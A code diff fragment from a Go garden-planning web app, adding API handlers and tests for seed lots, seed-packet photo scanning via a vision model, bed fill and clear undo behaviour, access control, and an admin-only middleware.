t.Errorf("degenerate rect %v = %d, want 400", rect, w.Code)
}
}
// A rect confined to the NE corner produces plops only there. Local frame:
// +x east, -y north.
w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID,
"rect": map[string]any{"minXCm": 0, "minYCm": -200, "maxXCm": 200, "maxYCm": 0},
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("rect fill: status %d, body %s", w.Code, w.Body.String())
}
plops, _ := decodeMap(t, w.Body.Bytes())["plantings"].([]any)
if len(plops) == 0 {
t.Fatal("rect fill created nothing")
}
for _, raw := range plops {
p := raw.(map[string]any)
if x, y := p["xCm"].(float64), p["yCm"].(float64); x < 0 || y > 0 {
t.Errorf("plop at (%v,%v) outside the NE rect", x, y)
}
}
}
// TestClearObjectIsOneChangeSetAPI is the regression test for the behaviour this
// endpoint exists to restore.
//
// The UI used to clear a bed with a loop of PATCHes, and since every service
// mutation auto-scopes its own change set, clearing a 40-plop bed wrote 40 of
// them — 40 presses of Undo to put the bed back. CLAUDE.md states the rule
// directly: multi-row operations record together so they undo as one unit.
func TestClearObjectIsOneChangeSetAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
gid, objID, plantID := seedFillableBed(t, r, cookie, 300, 300, 20)
w := doJSON(t, r, http.MethodPost, fillPath(objID), map[string]any{
"plantId": plantID, "region": "all",
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("fill: status %d, body %s", w.Code, w.Body.String())
}
created := int(decodeMap(t, w.Body.Bytes())["created"].(float64))
if created < 4 {
t.Fatalf("need several plops to make this meaningful, got %d", created)
}
before := countChangeSets(t, r, cookie, gid)
if w := doJSON(t, r, http.MethodPost, clearPath(objID), nil, cookie); w.Code != http.StatusOK {
t.Fatalf("clear: status %d", w.Code)
}
if after := countChangeSets(t, r, cookie, gid); after != before+1 {
t.Errorf("clearing %d plops added %d change sets, want exactly 1", created, after-before)
}
}
// TestFillClearPermissionsAPI: a viewer may look but not fill or clear, and a
// stranger gets 404 because existence is masked.
func TestFillClearPermissionsAPI(t *testing.T) {
r := authEngine(t, localCfg())
owner := registerAndCookie(t, r, "[email protected]")
viewer := registerAndCookie(t, r, "[email protected]")
stranger := registerAndCookie(t, r, "[email protected]")
gid, objID, plantID := seedFillableBed(t, r, owner, 200, 200, 20)
if w := doJSON(t, r, http.MethodPost, sharesPath(gid),
map[string]any{"email": "[email protected]", "role": "viewer"}, owner); w.Code != http.StatusCreated {
t.Fatalf("share as viewer: status %d, body %s", w.Code, w.Body.String())
}
fillBody := map[string]any{"plantId": plantID, "region": "all"}
if w := doJSON(t, r, http.MethodPost, fillPath(objID), fillBody, viewer); w.Code != http.StatusForbidden {
t.Errorf("viewer fill = %d, want 403 (they can see it but may not do that)", w.Code)
}
if w := doJSON(t, r, http.MethodPost, clearPath(objID), nil, viewer); w.Code != http.StatusForbidden {
t.Errorf("viewer clear = %d, want 403", w.Code)
}
if w := doJSON(t, r, http.MethodPost, fillPath(objID), fillBody, stranger); w.Code != http.StatusNotFound {
t.Errorf("stranger fill = %d, want 404 (existence masked)", w.Code)
}
if w := doJSON(t, r, http.MethodPost, clearPath(objID), nil, stranger); w.Code != http.StatusNotFound {
t.Errorf("stranger clear = %d, want 404", w.Code)
}
if w := doJSON(t, r, http.MethodPost, fillPath(objID), fillBody, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous fill = %d, want 401", w.Code)
}
if w := doJSON(t, r, http.MethodPost, clearPath(objID), nil, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous clear = %d, want 401", w.Code)
}
}
+24 -8
View File
@@ -16,9 +16,12 @@ import (
// the buyer — a lot is never shared along with a garden — so every handler here
// scopes to the session actor with no garden in the picture.
// seedLotCreateRequest is the body for POST /seed-lots.
type seedLotCreateRequest struct {
PlantID int64 `json:"plantId" binding:"required"`
// seedLotFields is the lot half of a create body — every field EXCEPT which plant
// it attaches to. seedLotCreateRequest adds a required plantId; the seed-packet
// confirm supplies none (the plant comes from its plantId/newPlant choice), so it
// embeds these fields directly. Sharing one struct keeps the two request shapes —
// and their validation — from drifting apart.
type seedLotFields struct {
Vendor string `json:"vendor"`
SourceURL string `json:"sourceUrl"`
SKU string `json:"sku"`
@@ -32,15 +35,28 @@ type seedLotCreateRequest struct {
Notes string `json:"notes"`
}
func (r seedLotCreateRequest) toInput() service.SeedLotInput {
// toInput builds the service input with no plant attribution; callers that know
// the plant (the create handler; the packet confirm) set PlantID afterwards.
func (f seedLotFields) toInput() service.SeedLotInput {
return service.SeedLotInput{
PlantID: r.PlantID, Vendor: r.Vendor, SourceURL: r.SourceURL, SKU: r.SKU,
LotCode: r.LotCode, PurchasedAt: r.PurchasedAt, PackedForYear: r.PackedForYear,
Quantity: r.Quantity, Unit: r.Unit, CostCents: r.CostCents,
GerminationPct: r.GerminationPct, Notes: r.Notes,
Vendor: f.Vendor, SourceURL: f.SourceURL, SKU: f.SKU, LotCode: f.LotCode,
PurchasedAt: f.PurchasedAt, PackedForYear: f.PackedForYear, Quantity: f.Quantity,
Unit: f.Unit, CostCents: f.CostCents, GerminationPct: f.GerminationPct, Notes: f.Notes,
}
}
// seedLotCreateRequest is the body for POST /seed-lots.
type seedLotCreateRequest struct {
PlantID int64 `json:"plantId" binding:"required"`
seedLotFields
}
func (r seedLotCreateRequest) toInput() service.SeedLotInput {
in := r.seedLotFields.toInput()
in.PlantID = r.PlantID
return in
}
// seedLotUpdateRequest is the body for PATCH /seed-lots/:id: every field
// optional, plus the required current version. The nullable columns are
// json.RawMessage so an explicit null (clear it) is distinguishable from an
+264
View File
@@ -0,0 +1,264 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"testing"
"github.com/gin-gonic/gin"
)
func seedLotPath(id int64) string {
return "/api/v1/seed-lots/" + strconv.FormatInt(id, 10)
}
// decodeList decodes a bare JSON array body. Seed lot listing returns the array
// directly rather than wrapping it (unlike /journal's {"entries": …}), so a
// helper that assumed an object would quietly read nothing.
func decodeList(t *testing.T, body []byte) []any {
t.Helper()
var out []any
if err := json.Unmarshal(body, &out); err != nil {
t.Fatalf("decode list: %v (%s)", err, body)
}
return out
}
// createPlantAPI makes a custom plant and returns its id.
func createPlantAPI(t *testing.T, r *gin.Engine, cookie *http.Cookie, name string, spacing float64) int64 {
t.Helper()
w := doJSON(t, r, http.MethodPost, "/api/v1/plants", map[string]any{
"name": name, "category": "vegetable", "spacingCm": spacing, "color": "#4a7c3f", "icon": "🌱",
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create plant %q: status %d, body %s", name, w.Code, w.Body.String())
}
return int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
}
// TestSeedLotCrudAPI walks the whole seed lot lifecycle over HTTP.
//
// It exists for the reason CLAUDE.md gives: service tests cannot see a route
// that was never registered, or one registered with the wrong :param name. Every
// other handler file had a sibling API test; this group did not, which is the
// state PATCH/DELETE /journal/:id shipped in — implemented, unit-tested, and
// completely unreachable.
func TestSeedLotCrudAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
plantID := createPlantAPI(t, r, cookie, "Music Garlic", 15)
// Create.
w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots", map[string]any{
"plantId": plantID, "vendor": "Johnny's", "sku": "2761",
"quantity": 100, "unit": "seeds", "packedForYear": 2026, "costCents": 495,
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create: status %d, body %s", w.Code, w.Body.String())
}
lot := decodeMap(t, w.Body.Bytes())
id := int64(lot["id"].(float64))
if lot["vendor"] != "Johnny's" || lot["unit"] != "seeds" {
t.Errorf("unexpected lot: %+v", lot)
}
// GET by id — the route most likely to be missing or mis-registered.
w = doJSON(t, r, http.MethodGet, seedLotPath(id), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("get: status %d, body %s", w.Code, w.Body.String())
}
if got := decodeMap(t, w.Body.Bytes()); int64(got["id"].(float64)) != id {
t.Errorf("get returned id %v, want %d", got["id"], id)
}
// List, and the ?plantId= filter.
w = doJSON(t, r, http.MethodGet, "/api/v1/seed-lots", nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("list: status %d, body %s", w.Code, w.Body.String())
}
if n := len(decodeList(t, w.Body.Bytes())); n != 1 {
t.Fatalf("list returned %d lots, want 1: %s", n, w.Body.String())
}
other := createPlantAPI(t, r, cookie, "Cherokee Purple", 45)
w = doJSON(t, r, http.MethodGet, "/api/v1/seed-lots?plantId="+strconv.FormatInt(other, 10), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("filtered list: status %d, body %s", w.Code, w.Body.String())
}
if n := len(decodeList(t, w.Body.Bytes())); n != 0 {
t.Errorf("filter by a plant with no lots returned %d, want 0", n)
}
// A bad plantId filter is 400, whether non-numeric or out of range — the
// handler rejects id < 1, not just unparseable strings.
for _, bad := range []string{"nope", "0", "-1"} {
if w := doJSON(t, r, http.MethodGet, "/api/v1/seed-lots?plantId="+bad, nil, cookie); w.Code != http.StatusBadRequest {
t.Errorf("plantId=%q filter = %d, want 400", bad, w.Code)
}
}
// PATCH with the current version.
w = doJSON(t, r, http.MethodPatch, seedLotPath(id), map[string]any{
"vendor": "Fedco", "version": lot["version"],
}, cookie)
if w.Code != http.StatusOK {
t.Fatalf("patch: status %d, body %s", w.Code, w.Body.String())
}
updated := decodeMap(t, w.Body.Bytes())
if updated["vendor"] != "Fedco" {
t.Errorf("vendor = %v, want Fedco", updated["vendor"])
}
if updated["version"].(float64) != lot["version"].(float64)+1 {
t.Errorf("patch didn't bump version: %v -> %v", lot["version"], updated["version"])
}
// A stale version conflicts and carries the current row back, so the client
// can rebase without a second request.
w = doJSON(t, r, http.MethodPatch, seedLotPath(id), map[string]any{
"vendor": "stale", "version": lot["version"],
}, cookie)
if w.Code != http.StatusConflict {
t.Fatalf("stale patch: status %d, want 409", w.Code)
}
if cur, ok := decodeMap(t, w.Body.Bytes())["current"].(map[string]any); !ok || cur["vendor"] != "Fedco" {
t.Errorf("409 body missing the current row: %s", w.Body.String())
}
// DELETE.
if w := doJSON(t, r, http.MethodDelete, seedLotPath(id), nil, cookie); w.Code != http.StatusNoContent {
t.Fatalf("delete: status %d, body %s", w.Code, w.Body.String())
}
if w := doJSON(t, r, http.MethodGet, seedLotPath(id), nil, cookie); w.Code != http.StatusNotFound {
t.Errorf("get after delete = %d, want 404", w.Code)
}
}
// TestSeedLotRemainingIsDerivedAPI checks that `remaining` reflects plantings
// through the HTTP surface, not just in the service.
//
// DESIGN.md makes derivation load-bearing — "a decremented column drifts the
// moment a planting is edited behind its back" — so a route that returned a
// stored or stale figure would break the invariant silently, and the number is
// the whole reason anyone opens the seed shelf.
func TestSeedLotRemainingIsDerivedAPI(t *testing.T) {
r := authEngine(t, localCfg())
cookie := registerAndCookie(t, r, "[email protected]")
plantID := createPlantAPI(t, r, cookie, "Beans", 10)
w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots", map[string]any{
"plantId": plantID, "quantity": 50, "unit": "seeds",
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create lot: status %d, body %s", w.Code, w.Body.String())
}
lotID := int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
gid := createGardenAPI(t, r, cookie, "G")
w = doJSON(t, r, http.MethodPost, objectsPath(gid), map[string]any{
"kind": "bed", "widthCm": 100, "heightCm": 100, "plantable": true,
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create object: status %d, body %s", w.Code, w.Body.String())
}
oid := int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
// Plant 12 of them against the lot.
w = doJSON(t, r, http.MethodPost, objectPlantingsPath(oid), map[string]any{
"plantId": plantID, "xCm": 0, "yCm": 0, "radiusCm": 20, "count": 12, "seedLotId": lotID,
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("create planting: status %d, body %s", w.Code, w.Body.String())
}
w = doJSON(t, r, http.MethodGet, seedLotPath(lotID), nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("get lot: status %d, body %s", w.Code, w.Body.String())
}
got := decodeMap(t, w.Body.Bytes())
if rem, ok := got["remaining"].(float64); !ok || rem != 38 {
t.Errorf("remaining = %v, want 38 (50 bought - 12 planted): %s", got["remaining"], w.Body.String())
}
// Over-plant it: 45 more (57 total against 50 bought) drives remaining
// NEGATIVE. That's deliberate — the number is a derived truth about what
// you've committed, not a floor clamped at zero, and "you've planted more than
// you bought" is exactly the signal a gardener wants rather than a hidden -7.
w = doJSON(t, r, http.MethodPost, objectPlantingsPath(oid), map[string]any{
"plantId": plantID, "xCm": 40, "yCm": 40, "radiusCm": 20, "count": 45, "seedLotId": lotID,
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("over-plant: status %d, body %s", w.Code, w.Body.String())
}
w = doJSON(t, r, http.MethodGet, seedLotPath(lotID), nil, cookie)
if rem, ok := decodeMap(t, w.Body.Bytes())["remaining"].(float64); !ok || rem != -7 {
t.Errorf("remaining after over-planting = %v, want -7 (50 - 57)", rem)
}
}
// TestSeedLotsArePrivateAPI checks the ACL through the router.
//
// Lots are private to the buyer and deliberately never travel with a shared
// garden, so another user must not be able to read or edit one. Per the
// project's convention, no-access is ErrNotFound rather than ErrForbidden —
// existence is masked — so every one of these is a 404, not a 403.
func TestSeedLotsArePrivateAPI(t *testing.T) {
r := authEngine(t, localCfg())
alice := registerAndCookie(t, r, "[email protected]")
bob := registerAndCookie(t, r, "[email protected]")
plantID := createPlantAPI(t, r, alice, "Alice's garlic", 15)
w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots", map[string]any{
"plantId": plantID, "vendor": "Secret Vendor", "quantity": 10, "unit": "bulbs",
}, alice)
if w.Code != http.StatusCreated {
t.Fatalf("alice create: status %d, body %s", w.Code, w.Body.String())
}
lotID := int64(decodeMap(t, w.Body.Bytes())["id"].(float64))
for _, tc := range []struct {
name string
method string
body any
}{
{"get", http.MethodGet, nil},
{"patch", http.MethodPatch, map[string]any{"vendor": "hijacked", "version": 1}},
{"delete", http.MethodDelete, nil},
} {
if w := doJSON(t, r, tc.method, seedLotPath(lotID), tc.body, bob); w.Code != http.StatusNotFound {
t.Errorf("bob %s = %d, want 404 (existence is masked)", tc.name, w.Code)
}
}
// Bob's own listing must not include it either.
w = doJSON(t, r, http.MethodGet, "/api/v1/seed-lots", nil, bob)
if w.Code != http.StatusOK {
t.Fatalf("bob list: status %d", w.Code)
}
if n := len(decodeList(t, w.Body.Bytes())); n != 0 {
t.Errorf("bob sees %d of alice's lots, want 0: %s", n, w.Body.String())
}
// And it's still intact for alice.
if w := doJSON(t, r, http.MethodGet, seedLotPath(lotID), nil, alice); w.Code != http.StatusOK {
t.Errorf("alice lost access to her own lot: %d", w.Code)
}
}
// TestSeedLotsRequireAuthAPI: the group is behind requireAuth, and an
// unauthenticated caller gets 401 rather than an empty list.
func TestSeedLotsRequireAuthAPI(t *testing.T) {
r := authEngine(t, localCfg())
for _, tc := range []struct {
method, path string
}{
{http.MethodGet, "/api/v1/seed-lots"},
{http.MethodPost, "/api/v1/seed-lots"},
{http.MethodGet, seedLotPath(1)},
{http.MethodPatch, seedLotPath(1)},
{http.MethodDelete, seedLotPath(1)},
} {
if w := doJSON(t, r, tc.method, tc.path, nil, nil); w.Code != http.StatusUnauthorized {
t.Errorf("%s %s = %d, want 401", tc.method, tc.path, w.Code)
}
}
}
+135
View File
@@ -0,0 +1,135 @@
package api
import (
"errors"
"net/http"
"time"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/imagenorm"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// Seed-packet capture (#81). Two steps, deliberately separate:
// POST /seed-lots/scan multipart image → a proposal (reads only)
// POST /seed-lots/from-packet confirmed proposal → a plant + lot
// The scan never writes; creation happens only from an explicit confirm, so a
// misread can't add anything to the catalog on its own.
// scanUploadLimit bounds the multipart body. imagenorm caps the decoded image at
// 25 MiB; this is a little over that for the multipart envelope. A phone photo is
// a few MB, so this is generous.
const scanUploadLimit = 30 << 20
// scanReadTimeout is how long we allow the image upload to take. The server's
// default ReadTimeout (15s) is fine for JSON but tight for a multi-megabyte photo
// on a slow phone connection, so this endpoint extends it — the same
// ResponseController mechanism the SSE path uses for writes (#78).
const scanReadTimeout = 60 * time.Second
// scanWriteTimeout extends the write deadline for the same reason. The server's
// absolute WriteTimeout (30s) is measured from the start of the request, but this
// handler's response can't be written until AFTER a slow upload AND a live vision
// call — together easily past 30s. Without this, a successful extraction's
// response is silently dropped: the exact failure mode #78 fixed for SSE.
const scanWriteTimeout = 120 * time.Second
// scanSeedPacket reads an uploaded packet photo and returns a proposal.
func (h *handlers) scanSeedPacket(c *gin.Context) {
// Extend both deadlines for the (potentially large, potentially slow) upload
// and the live vision call that follows. Best-effort: if the writer doesn't
// support it, the server defaults apply.
rc := http.NewResponseController(c.Writer)
_ = rc.SetReadDeadline(time.Now().Add(scanReadTimeout))
_ = rc.SetWriteDeadline(time.Now().Add(scanWriteTimeout))
c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, scanUploadLimit)
file, err := c.FormFile("image")
if err != nil {
// A body over scanUploadLimit trips MaxBytesReader — that's 413, not a
// malformed request. Everything else here is a genuinely missing/garbled
// multipart field.
var tooBig *http.MaxBytesError
if errors.As(err, &tooBig) {
writeAPIError(c, http.StatusRequestEntityTooLarge, "IMAGE_TOO_LARGE", "that image is too large — try a smaller photo")
return
}
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "attach an image as the \"image\" field")
return
}
f, err := file.Open()
if err != nil {
// Opening the parsed upload failed on our side, not the client's.
writeAPIError(c, http.StatusInternalServerError, "INTERNAL", "could not read the uploaded image")
return
}
defer f.Close()
// Normalize to JPEG (decodes HEIC/webp/png/jpeg, downscales, re-encodes) so
// everything downstream — including the vision model — only sees a format it
// can read. This is where an iPhone HEIC becomes usable.
jpeg, _, err := imagenorm.Normalize(f, imagenorm.Options{})
if err != nil {
switch {
case errors.Is(err, imagenorm.ErrTooLarge):
writeAPIError(c, http.StatusRequestEntityTooLarge, "IMAGE_TOO_LARGE", "that image is too large — try a smaller photo")
case errors.Is(err, imagenorm.ErrUnsupported):
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "that doesn't look like an image we can read (JPEG, PNG, HEIC or WebP)")
default:
// A read or re-encode fault is ours, not bad input.
writeAPIError(c, http.StatusInternalServerError, "INTERNAL", "could not process the uploaded image")
}
return
}
prop, err := h.svc.ExtractSeedPacket(c.Request.Context(), mustActor(c).ID, jpeg)
if err != nil {
// A missing vision model surfaces as ErrInvalidInput from the service; give
// it a clearer message than the generic 400, since the UI shouldn't have
// offered the button at all in that case.
if errors.Is(err, domain.ErrInvalidInput) {
writeAPIError(c, http.StatusServiceUnavailable, "VISION_DISABLED", "packet scanning isn't set up on this instance")
return
}
writeServiceError(c, err)
return
}
c.JSON(http.StatusOK, prop)
}
// fromPacketRequest confirms a proposal: exactly one of plantId (attach to an
// existing plant) or newPlant (create a variety), plus the lot to record. The lot
// is seedLotFields — the create body's lot half WITHOUT plantId, since the plant
// comes from the plantId/newPlant choice, not the lot body.
type fromPacketRequest struct {
PlantID *int64 `json:"plantId"`
NewPlant *plantCreateRequest `json:"newPlant"`
Lot seedLotFields `json:"lot"`
}
// createFromPacket turns a confirmed proposal into a plant + lot.
func (h *handlers) createFromPacket(c *gin.Context) {
var req fromPacketRequest
if err := c.ShouldBindJSON(&req); err != nil {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "a lot and exactly one of plantId or newPlant are required")
return
}
confirm := service.PacketConfirm{
PlantID: req.PlantID,
Lot: req.Lot.toInput(), // no plantId in the lot body; the service attributes it
}
if req.NewPlant != nil {
in := req.NewPlant.toInput()
confirm.NewPlant = &in
}
res, err := h.svc.CreateFromPacket(c.Request.Context(), mustActor(c).ID, confirm)
if err != nil {
writeServiceError(c, err)
return
}
c.JSON(http.StatusCreated, res)
}
+237
View File
@@ -0,0 +1,237 @@
package api
import (
"bytes"
"context"
"image"
"image/png"
"mime/multipart"
"net/http"
"net/http/httptest"
"testing"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/config"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/store"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/vision"
)
// packetEngine builds an engine whose service reads seed packets via the given
// canned extractor, so the scan endpoint can be tested without a live model.
func packetEngine(t *testing.T, cfg *config.Config, extract func() (vision.SeedPacket, error)) *gin.Engine {
t.Helper()
gin.SetMode(gin.TestMode)
db, err := store.Open(":memory:")
if err != nil {
t.Fatalf("store.Open: %v", err)
}
t.Cleanup(func() { db.Close() })
if err := db.Migrate(context.Background()); err != nil {
t.Fatalf("Migrate: %v", err)
}
svc := service.New(db, cfg, service.WithPacketExtractor(
func(context.Context, string, string, []byte) (vision.SeedPacket, error) { return extract() },
))
return New(cfg, svc)
}
// visionCfg is a config with a vision model + key configured, so packet scanning
// is available.
func visionCfg() *config.Config {
c := localCfg()
c.Agent = config.AgentConfig{OllamaCloudAPIKey: "k", VisionModel: "ollama-cloud/vision:cloud"}
return c
}
// pngUpload builds a multipart body with a real PNG under the "image" field.
func pngUpload(t *testing.T) (body *bytes.Buffer, contentType string) {
t.Helper()
var img bytes.Buffer
if err := png.Encode(&img, image.NewRGBA(image.Rect(0, 0, 32, 24))); err != nil {
t.Fatalf("encode png: %v", err)
}
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
part, err := w.CreateFormFile("image", "packet.png")
if err != nil {
t.Fatalf("form file: %v", err)
}
part.Write(img.Bytes())
w.Close()
return &buf, w.FormDataContentType()
}
func doMultipart(t *testing.T, r *gin.Engine, path, contentType string, body *bytes.Buffer, cookie *http.Cookie) *httptest.ResponseRecorder {
t.Helper()
req := httptest.NewRequest(http.MethodPost, path, body)
req.Header.Set("Content-Type", contentType)
if cookie != nil {
req.AddCookie(cookie)
}
w := httptest.NewRecorder()
r.ServeHTTP(w, req)
return w
}
// TestScanSeedPacketAPI: a multipart image → a proposal, end to end through the
// router. The extractor is canned; imagenorm runs for real on the uploaded PNG.
func TestScanSeedPacketAPI(t *testing.T) {
r := packetEngine(t, visionCfg(), func() (vision.SeedPacket, error) {
return vision.SeedPacket{Species: "garlic", Variety: "Music", Category: "vegetable"}, nil
})
cookie := registerAndCookie(t, r, "[email protected]")
// A matching plant so the proposal has a candidate.
createPlantAPI(t, r, cookie, "Music Garlic", 15)
body, ct := pngUpload(t)
w := doMultipart(t, r, "/api/v1/seed-lots/scan", ct, body, cookie)
if w.Code != http.StatusOK {
t.Fatalf("scan: status %d, body %s", w.Code, w.Body.String())
}
res := decodeMap(t, w.Body.Bytes())
pkt, _ := res["packet"].(map[string]any)
if pkt["variety"] != "Music" {
t.Errorf("packet variety = %v", pkt["variety"])
}
if cands, _ := res["candidates"].([]any); len(cands) == 0 {
t.Error("expected a candidate match for Music Garlic")
}
if res["suggestedName"] != "Music" {
t.Errorf("suggestedName = %v", res["suggestedName"])
}
}
// TestScanSeedPacketErrorsAPI: no image, unreadable bytes, and vision-not-
// configured each get their own clear status.
func TestScanSeedPacketErrorsAPI(t *testing.T) {
// Vision configured, so we reach imagenorm / the extractor.
r := packetEngine(t, visionCfg(), func() (vision.SeedPacket, error) {
return vision.SeedPacket{Variety: "X"}, nil
})
cookie := registerAndCookie(t, r, "[email protected]")
// No file field → 400.
if w := doMultipart(t, r, "/api/v1/seed-lots/scan", "multipart/form-data; boundary=x", bytes.NewBufferString(""), cookie); w.Code != http.StatusBadRequest {
t.Errorf("no image = %d, want 400", w.Code)
}
// A file that isn't an image → 400 (imagenorm rejects it).
var buf bytes.Buffer
mw := multipart.NewWriter(&buf)
part, _ := mw.CreateFormFile("image", "notes.txt")
part.Write([]byte("this is not an image"))
mw.Close()
if w := doMultipart(t, r, "/api/v1/seed-lots/scan", mw.FormDataContentType(), &buf, cookie); w.Code != http.StatusBadRequest {
t.Errorf("non-image = %d, want 400", w.Code)
}
// Vision NOT configured → 503, even with a valid image.
r2 := packetEngine(t, localCfg(), func() (vision.SeedPacket, error) { return vision.SeedPacket{}, nil })
cookie2 := registerAndCookie(t, r2, "[email protected]")
body, ct := pngUpload(t)
if w := doMultipart(t, r2, "/api/v1/seed-lots/scan", ct, body, cookie2); w.Code != http.StatusServiceUnavailable {
t.Errorf("no vision model = %d, want 503", w.Code)
}
// Unauthenticated → 401.
b3, ct3 := pngUpload(t)
if w := doMultipart(t, r, "/api/v1/seed-lots/scan", ct3, b3, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous scan = %d, want 401", w.Code)
}
}
// TestScanSeedPacketTooLargeAPI: a body over the multipart cap trips
// MaxBytesReader, which must surface as 413 (too large), not 400 (malformed).
func TestScanSeedPacketTooLargeAPI(t *testing.T) {
r := packetEngine(t, visionCfg(), func() (vision.SeedPacket, error) { return vision.SeedPacket{}, nil })
cookie := registerAndCookie(t, r, "[email protected]")
var buf bytes.Buffer
mw := multipart.NewWriter(&buf)
part, _ := mw.CreateFormFile("image", "big.png")
// A hair over scanUploadLimit (30 MiB) so MaxBytesReader trips during parsing.
part.Write(bytes.Repeat([]byte{0}, (30<<20)+1024))
mw.Close()
if w := doMultipart(t, r, "/api/v1/seed-lots/scan", mw.FormDataContentType(), &buf, cookie); w.Code != http.StatusRequestEntityTooLarge {
t.Errorf("oversized upload = %d, want 413", w.Code)
}
}
// TestCreateFromPacketAPI: confirm → plant + lot. No model involved, so the full
// path runs through the router.
func TestCreateFromPacketAPI(t *testing.T) {
r := packetEngine(t, visionCfg(), func() (vision.SeedPacket, error) { return vision.SeedPacket{}, nil })
cookie := registerAndCookie(t, r, "[email protected]")
// New plant + lot.
w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots/from-packet", map[string]any{
"newPlant": map[string]any{"name": "Music Garlic", "category": "vegetable", "color": "#4a7c3f", "icon": "🧄", "spacingCm": 15},
"lot": map[string]any{"vendor": "Johnny's", "quantity": 8, "unit": "bulbs"},
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("new plant confirm: status %d, body %s", w.Code, w.Body.String())
}
res := decodeMap(t, w.Body.Bytes())
if res["plantIsNew"] != true {
t.Errorf("plantIsNew = %v, want true", res["plantIsNew"])
}
plantObj, _ := res["plant"].(map[string]any)
plantID := int64(plantObj["id"].(float64))
lotObj, _ := res["lot"].(map[string]any)
if int64(lotObj["plantId"].(float64)) != plantID {
t.Errorf("lot not attributed to the new plant")
}
// Existing plant + lot.
w = doJSON(t, r, http.MethodPost, "/api/v1/seed-lots/from-packet", map[string]any{
"plantId": plantID,
"lot": map[string]any{"vendor": "Fedco", "quantity": 10, "unit": "bulbs"},
}, cookie)
if w.Code != http.StatusCreated {
t.Fatalf("existing plant confirm: status %d, body %s", w.Code, w.Body.String())
}
if decodeMap(t, w.Body.Bytes())["plantIsNew"] != false {
t.Error("plantIsNew should be false for an existing plant")
}
// Both plantId and newPlant → 400.
if w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots/from-packet", map[string]any{
"plantId": plantID,
"newPlant": map[string]any{"name": "X", "category": "vegetable", "color": "#4a7c3f", "icon": "🌱"},
"lot": map[string]any{"vendor": "V", "quantity": 1, "unit": "seeds"},
}, cookie); w.Code != http.StatusBadRequest {
t.Errorf("both plant choices = %d, want 400", w.Code)
}
// Neither → 400.
if w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots/from-packet", map[string]any{
"lot": map[string]any{"vendor": "V", "quantity": 1, "unit": "seeds"},
}, cookie); w.Code != http.StatusBadRequest {
t.Errorf("neither plant choice = %d, want 400", w.Code)
}
// Unauthenticated → 401.
if w := doJSON(t, r, http.MethodPost, "/api/v1/seed-lots/from-packet", nil, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous confirm = %d, want 401", w.Code)
}
}
// TestCapabilitiesReportsVision: /capabilities advertises vision only when a
// vision model is configured.
func TestCapabilitiesReportsVision(t *testing.T) {
on := packetEngine(t, visionCfg(), func() (vision.SeedPacket, error) { return vision.SeedPacket{}, nil })
cookie := registerAndCookie(t, on, "[email protected]")
w := doJSON(t, on, http.MethodGet, "/api/v1/capabilities", nil, cookie)
if decodeMap(t, w.Body.Bytes())["vision"] != true {
t.Errorf("vision should be true with a model configured: %s", w.Body.String())
}
off := packetEngine(t, localCfg(), func() (vision.SeedPacket, error) { return vision.SeedPacket{}, nil })
cookie2 := registerAndCookie(t, off, "[email protected]")
w = doJSON(t, off, http.MethodGet, "/api/v1/capabilities", nil, cookie2)
if decodeMap(t, w.Body.Bytes())["vision"] != false {
t.Errorf("vision should be false with no model: %s", w.Body.String())
}
}
+152
View File
@@ -0,0 +1,152 @@
package api
import (
"context"
"encoding/json"
"errors"
"net/http"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// Instance settings (#79): admin-only, instance-wide. The authoritative admin
// check is in the service; requireAdmin here is a cheap early 403 that also
// keeps the route group readable.
// requireAdmin rejects a non-admin actor. It runs after requireAuth, so the
// actor is already resolved and carries IsAdmin — no extra query. Returns 403
// (not 404): a logged-in user knows settings exist, they just may not touch them.
func (h *handlers) requireAdmin() gin.HandlerFunc {
return func(c *gin.Context) {
if !mustActor(c).IsAdmin {
writeAPIError(c, http.StatusForbidden, "FORBIDDEN", "admin access required")
c.Abort()
return
}
c.Next()
}
}
